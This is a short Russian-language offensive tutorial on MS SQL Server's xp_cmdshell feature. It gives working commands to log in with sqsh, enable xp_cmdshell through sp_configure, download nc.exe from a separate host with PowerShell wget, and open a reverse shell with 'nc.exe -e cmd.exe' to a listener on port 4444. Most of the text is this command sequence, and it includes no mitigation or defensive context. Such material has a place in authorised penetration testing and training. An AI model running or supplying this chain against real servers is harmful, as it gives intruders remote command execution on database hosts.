MS SQL (xp_cmdshell)
Max Alexeev (@wi_max)
Что такое xp_cmdshell?
Это функционал, реализующий запуск командной строки Windows и позволяющий передавать команды для выполнения. Грубо говоря, этот механизм позволяет выполнять команды в системе из под MS SQL Server. Это решение было предложено для автоматизации различных задач, требующих одновременного выполнения и SQL-запросов и команд в системе. Однако, данный функционал может быть выключен администратором системы. Перед использованием, необходимо проверить его доступность.
Как проверить, активен или нет?
Для проверки факта активности xp_cmdshell можно использовать утилиту sqsh.
Для начала, необходимо подключиться к MS SQL:
sqsh -S 10.10.10.10 -U Admin -P "Password"
Дальше попытаться выполнить команду:
xp_cmdshell 'whoami';
go

Данное сообщение означает, что функционал xp_cmdshell отключен.
Как включить xp_cmdshell?
Для активации, необходимо последовательное выполнение следующих команд:
EXEC sp_configure 'show advanced options', 1;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
go
Проверим, можем ли мы выполнять команды:
xp_cmdshell 'whoami';
go

Как видно, теперь мы можем выполнять команды в системе.
Получаем реверс-шелл, используя xp_cmdshell
Для этого сперва загрузим скомпилированную версию nc.exe для Windows:
xp_cmdshell "powershell.exe wget http://10.10.10.20/nc.exe -OutFile c:\\Users\Public\\nc.exe"
После получаем реверс-шелл:
xp_cmdshell 'c:\\Users\\Public\\nc.exe -e cmd.exe 10.10.10.10 4444'

Видим, что мы успешно получили реверс-шелл в систему, используя небезопасный функционал xp_cmdshell.